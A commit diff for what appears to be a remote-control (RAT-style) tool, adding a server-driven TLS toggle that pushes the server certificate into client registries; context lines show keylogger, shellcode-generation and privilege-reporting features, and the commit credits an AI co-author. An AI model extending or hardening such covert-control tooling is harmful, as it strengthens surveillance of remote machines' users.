Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)
Add a per-client TLS transport toggle controlled from the server, using the presence of the client's trust-anchor certificate in the registry as the single source of truth (no separate tls_enable flag). - Client reports its TLS status via a new RES_TLS token (cert present -> 1) appended to LOGIN_INFOR's reserved field. - Server online list gains a "TLS" column after the permission column. - The "experimental features" right-click menu gains "TLS传输" / "取消TLS" with confirmation and a guard that prompts (instead of sending) when the server has no TLS certificate ready. - New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes its cert PEM into the client registry settings\tls_cert (enable) or deletes it (disable). The client picks this up on next startup via the existing ReadTrustAnchor logic, so the switch is non-live by design. - Icons and en_US/zh_TW/de_DE translations for the new menu items. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
8f02e73b9c
commit
99e3bcbc6d
13 files changed
+117
-11
No files matched your search
@@ -51,6 +51,7 @@
|
||||
#include "McpServer.h"
|
||||
#include "McpSettingsDlg.h"
|
||||
#include "TlsCertificateDlg.h"
|
||||
#include "ServerTlsSession.h"
|
||||
#include "common/md5.h"
|
||||
#include <algorithm>
|
||||
#include <set>
|
||||
@@ -148,23 +149,24 @@ const int g_Column_Count_Online = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
|
||||
|
||||
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
|
||||
{"预览", 60 },
|
||||
{"IP", 130 },
|
||||
{"端口", 60 },
|
||||
{"IP", 120 },
|
||||
{"端口", 55 },
|
||||
{"地理位置", 140 },
|
||||
{"计算机名/备注", 140 },
|
||||
{"操作系统", 120 },
|
||||
{"CPU", 80 },
|
||||
{"摄像头", 60 },
|
||||
{"RTT", 60 },
|
||||
{"操作系统", 135 },
|
||||
{"CPU", 75},
|
||||
{"摄像头", 55 },
|
||||
{"RTT", 55 },
|
||||
{"版本", 90 },
|
||||
{"安装时间", 130 },
|
||||
{"活动窗口", 130 },
|
||||
{"活动窗口", 145 },
|
||||
{"类型", 50 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"权限", 60 },
|
||||
{"TLS", 50 },
|
||||
};
|
||||
|
||||
// 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
|
||||
@@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
|
||||
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
|
||||
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
|
||||
m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE); // TLS 传输
|
||||
m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE); // 取消 TLS
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
|
||||
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
@@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
const std::string& privUser = v[RES_USERNAME];
|
||||
const std::string& privAdmin = v[RES_ISADMIN];
|
||||
CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
|
||||
CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
|
||||
|
||||
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
|
||||
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
|
||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
|
||||
};
|
||||
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
|
||||
// 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定)。
|
||||
@@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentTlsEnable()
|
||||
{
|
||||
// 前置校验:服务端未启用 TLS 证书时,无信任锚可下发,仅提示、不下发指令。
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
// 二次确认:避免误点就切换被控端 TLS;客户端写注册表,下次启动生效
|
||||
if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)"),
|
||||
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
|
||||
|
||||
// 读取服务端证书(信任锚),随启用指令一并下发;客户端写入注册表 settings\tls_cert。
|
||||
std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
|
||||
if (!certFile.is_open()) {
|
||||
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
std::ostringstream ss;
|
||||
ss << certFile.rdbuf();
|
||||
std::string certPem = ss.str();
|
||||
if (certPem.empty()) {
|
||||
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// 报文:命令字节 + PEM 正文
|
||||
std::vector<BYTE> pkt;
|
||||
pkt.reserve(1 + certPem.size());
|
||||
pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
|
||||
pkt.insert(pkt.end(), certPem.begin(), certPem.end());
|
||||
SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentTlsDisable()
|
||||
{
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)"),
|
||||
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
|
||||
BYTE bToken = COMMAND_TLS_DISABLE; //向被控端发送停用 TLS 传输命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||
|
||||
Reference in new issue
Block a user